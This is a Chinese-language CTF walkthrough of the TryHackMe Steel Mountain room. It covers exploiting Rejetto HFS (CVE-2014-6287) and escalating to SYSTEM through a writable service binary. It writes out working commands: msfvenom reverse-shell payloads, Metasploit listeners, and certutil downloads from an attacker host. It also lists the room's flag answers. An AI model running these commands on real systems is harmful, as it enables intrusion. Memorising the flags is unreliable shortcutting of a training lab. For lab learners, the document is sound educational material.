Bootstrap

TRY HACK ME | Steel Mountain「利用powershell提权」

TRY HACK ME 渗透测试靶场,以基础为主层层深入,知识点讲解详细,对于想实现从零到一飞跃的白客,TRY HACK ME无非是最好的选择。而网络上资源良莠不齐,好的资源难找的一逼。因此,今天起我将与大家一起详细学习THM重要的ROOM里的内容,力求让每个人都能理解、掌握其中的内容,让我们一起学习、一起å进步、一起GET THE FLAG!

THM靶场:Steel Mountain

在这个房间中,我们将学习提权一台 Windows 机器,首先使用 Metasploit 获得初始访问权限,再使用 Powershell 进一步枚举该机器并将权限提升到管理员;最后学习不使用MSF,利用漏洞获取初始shell后再通过WINPEAS探测windows配置漏洞进一步提权至root shell!准备好啦没?LET’S DO IT ! ! !

在这里插入图片描述


TASK1 谁是最佳员工?

启动机器,连接openvpn,点击“Start Machine”获取目标IP,本次测试使用KAIL作为攻击机,连接成功后显示如下:
傲娇的老头.jpg
然后F12打开浏览器的开发者模式,可以看到老头的名字叫BillHarper,根据题目要求改变下格式可以顺利得到正确答案BillHarper名字就在其中

Q1:Scan the machine with nmap, how many ports are open?(谁是本月的员工?)
A1:Bill Harper


TASK2 获得初始 shell

常规套路,先使用nmap扫描,然后cat获取扫描果:

export IP=10.10.136.82 //设置靶机IP
nmap -Pn -T5 --max-retries 2500 -sC -sV -oN nmap/initial $IP //扫描开始,将结果保存在nmap/initial中

分析扫描结果,我们不难发现,8080端口上有HttpFileServer,版本为2.3,也许这可以作为我们的突破点,也让我们回答了第二个问题,另外一个服务为8080

HttpFileServer 2.3

Q2:Scan the machine with nmap. What is the other port running a web server on(用 nmap 扫描机器。另一个运行 Web 服务器的端口是什么)?
A2:8080

我们使用https://IP:8080打开网站,看到了服务的页面和内容


但是我们想做的显然不止有这些,google搜索HttpFileServer查找有关服务的具体名称,第一条就是Rejetto HTTP File Server (HFS) 2.3.x的一个windows远程代码执行漏洞,此时我们已经可以确定8080端口上运行的是Rejetto HTTP File Server,即Rejetto HTTP文件服务

在这里插入图片描述
Q3:Take a look at the other web server. What file server is running(看看另一个 Web 服务器。什么文件服务器正在运行)?
A3:Rejetto HTTP File Server

点开链接,可以看到CVE编号:2014-6287
在这里插入图片描述

Q4:What is the CVE number to exploit this file server(该漏洞的cve编号是多少)?
A4:2014-6287

知道了漏洞的CVE编号和漏洞的类型,直接打开MSF开干!

命令如下:

msfconsole  //打开msf
search httpfileserver //搜索漏洞
use 0 //使用唯一的一个(明显放海)

use 0

下面直接OPTIONS,设置RHOSTS(目标主机)为靶机IP,RPORT(目标端口)为8080,LHOSTS(监听主机)为攻击机,然后直接RUN,开始渗透!

run!run!!run!!!

出现“Sending stage (175174 bytes) to $IP”证明msf漏洞利用成功,终止进程再输入命令session,可以看到我们的命令已经运行成功,然后执行命令:seessions -i 1进入meterpreter
get session
进入meterpreter

然后直接进入提示目录:C:\Users\bill\Desktop,cat user.txt,成功获取flag

在这里插入图片描述

Q5:Use Metasploit to get an initial shell. What is the user flag(用msf获取初始shell,用户的flag是)?
A5:b04763b6fcf51fcd7c13abc7db4fd365


TASK3 权限提升

我们现在已经获得了一个初始 shell,接下来我们可以进一步提升权限至管理员权限。为了提升权限,我们将使用一个名为 PowerUp 的 powershell 脚本,其目的是评估 Windows 机器并确定任何异常情况。 “ PowerUp 旨在成为 依赖于错误配置的常见 Windows 权限提升向量的交换所。 ” (点我直接下载脚本)

我已经提前下载好了该脚本,大家可以忽略其他的文件(涉及到后面头疼的不通过msf获取权限和提升权限的问题)

PowerUp.ps1

下载完成后,我们返回我们的shell,在meterpreter中返回C盘下目录,创建文件Temp以方便我们接下来的操作,命令:mkdir Temp
Temp文件创建成功

使用upload命令上传我们下载的脚本,命令:

upload /home/akahrz/THM/SteelMountain/PowerUp.ps1

上传成功

接下来,执行命令:

load powershell  //加载powershell
powershell_shell //进入powershell
. .\PowerUp.ps1 //执行我们刚刚下载的脚本
Invoke-AllChecks //Invoke-AllChecks 是一个运行模块中包含的所有检查的函数。该函数以有用的格式输出检查结果,并为我们提供有关在哪里查看权限提升的建议。我们收到了检查结果列表并建议了可能的 PowerUp 攻击

可以看到,因为CanRestart 选项为真,允许我们重新启动系统上的服务,应用程序的目录也是可写的。这意味着我们可以用我们的恶意应用程序替换合法应用程序,重新启动服务将覆盖之前的文件,从而完成恶意脚本的上传,让我们最终提取成功。

Q6:Take close attention to the CanRestart option that is set to true. What is the name of the service which shows up as an unquoted service path vulnerability?(密切注意设置为 true 的 CanRestart 选项。显示为未引用服务路径漏洞的服务名称是什么?)
A6:AdvancedSystemCareService9

现在,我们使用kali里的 msfvenom 将反向 shell 生成为 Windows 可执行文件,命令如下:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.2.118.230 LPORT=1234 -e x86/shikata_ga_nai -f exe > ASCService.exe

运行成功
使用shell命令创建shell,关闭AdvancedSystemCareService9服务、退出shell,在meterpreter里进入SystemCare目录,最后,直接上传ASCService.exe 文件,文件将自动覆盖原文件。
命令:

cd C:\\Program\ Files\ (x86)\\IObit\\Advanced\ SystemCare  //进入目标目录
sc stop AdvancedSystemCareService9 //关闭服务 
upload /home/akahrz/THM/SteelMountain/ASCService.exe //上传ASCService.exe

上传成功!
重新打开一个新的终端,使用msf打开监听,以获取反弹shell,命令:

msfconsole 
use multi/handler 
set payload windows/meterpreter/reverse_tcp
set LHOST tun0 
set LPORT 1234

配置成功!
回到初始shell,重新运行服务AdvancedSystemCareService9,可以发现监听端弹回一个root shell!!!自此大功告成,成功提升权限为root!ststem权限!

但是我们遇到了问题,shell被快速的关闭了,我看了很多大佬的视频,都几乎崩溃了,搞到现在,shell没了?!


淦,我们只能再次操作一遍,结合大佬的经验,需要快速的迁移进程才能防止shell被关闭,命令如下:
run post/windows/manage/migrate,一定要快速运行,强烈建议直接复制粘贴!!!终于,运行成功!我们获得了一个长久稳定的system shell,再来一套组合拳把root.txt拿下


Q7:What is the root flag?(什么是根flag?)
A7:9af5f314f57607c00fd09803a587db80


TASK4 不使用MSF获取shell并提权

对于仅仅想要获取root shell的人来说,刚刚的任务已经达到了效果。但是如果你想更进一步的提升一下自己的能力的话,可以尝试在不使用MSF的情况下获取shell再提升至root权限,毕竟手工的才是最装逼的,我们直接开淦!

首先,我们将使用相同的CVE,但是我们使用这个漏洞,或者直接点击下载脚本,还需要在 Web 服务器上安装一个 netcat 静态二进制文件。如果没有,可以从GitHub下载。可以把ncat.exe改名为nc.exe。方便接下来的操作

vim 39161.py打开脚本,在Usage栏我们可以看到该脚本的使用方法为IP+端口,注意这个脚本需要使用python2运行。

接下来,我们需要修改本机的IP和端口号

准备工作完成了,现在,使用python搭建一个httpserver服务(注意要先进入文件目录),命令如下:

sudo python2 -m SimpleHTTPServer 80

运行成功
然后我们打开另外一个终端,设置监听,命令:

nc -nlvp 4444

最后,打开最后一个终端,执行命令并利用漏洞,需要注意的是,要运行两次漏洞利用!第一次将我们的 netcat 二进制文件拉到系统中,第二次将执行我们的有效负载以获得回调,运行成功后我们将获取普通权限的shell

python2 39161.py 10.10.131.239 8080 //其中的IP为靶机IP

运行成功,获取到普通权限的shell

在shell终端里进入我们之前创建的Temp目录,之后进入我们提前下载好的WINPEAS(一种windows提权工具)目录,跟上面相同的方法开启python2的httpserver服务,运行命令:

certutil -urlcache -f http://10.2.118.230/winPEASx64.exe winpeas.exe //IP为攻击机IP

成功下载WINPEAS
直接运行winpeas,查看服务,可以看出Advanced SystemCare Service可能有配置错误,那就说明我们可以通过该服务覆盖来执行漏洞提取。


我们再次进入SteelMountain目录,运行python2的httpserver服务,最后进入msf设置监听,命令如下:

msfconsole
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.2.118.230 //IP为攻击机IP
set LPORT 1234
run

搭建服务
设置监听

进入C:\Program Files (x86)\IObit\Advanced SystemCare>目录,然后执行命令,上传文件并覆盖原文件:

certutil -urlcache -f http://10.2.118.230/ASCService.exe ASCService.exe


最后,执行sc stop/start AdvancedSystemCareService9,重新运行服务并获取到root shell!!!

Q8:What powershell -c command could we run to manually find out the service name?(我们可以运行什么 powershell -c 命令来手动查找服务名称?)
A8:powershell -c “Get-Service”


Steelmountain 靶场通关小结

在这个房间中,我们一起学习了通过windows漏洞获取shell权限并提升至root权限的过程。其中的难点有很多,比如如何配置MSF使能够成功利用漏洞、如何下载配置漏洞利用脚本、如何使用WINPEAS等等等等。如果有部分不明白的,可以把流程反反复复的多看几遍,同时也非常欢迎大家私信我,如果觉得内容做的不错的话,也可以关注我的公众号:HACKER 航仔 以获取最新消息并与我联系,十分感谢能看到这里的各位,虽然制作不易,看到你们的点赞我还是很开心的!我们下期再见,拜了个拜~~~

;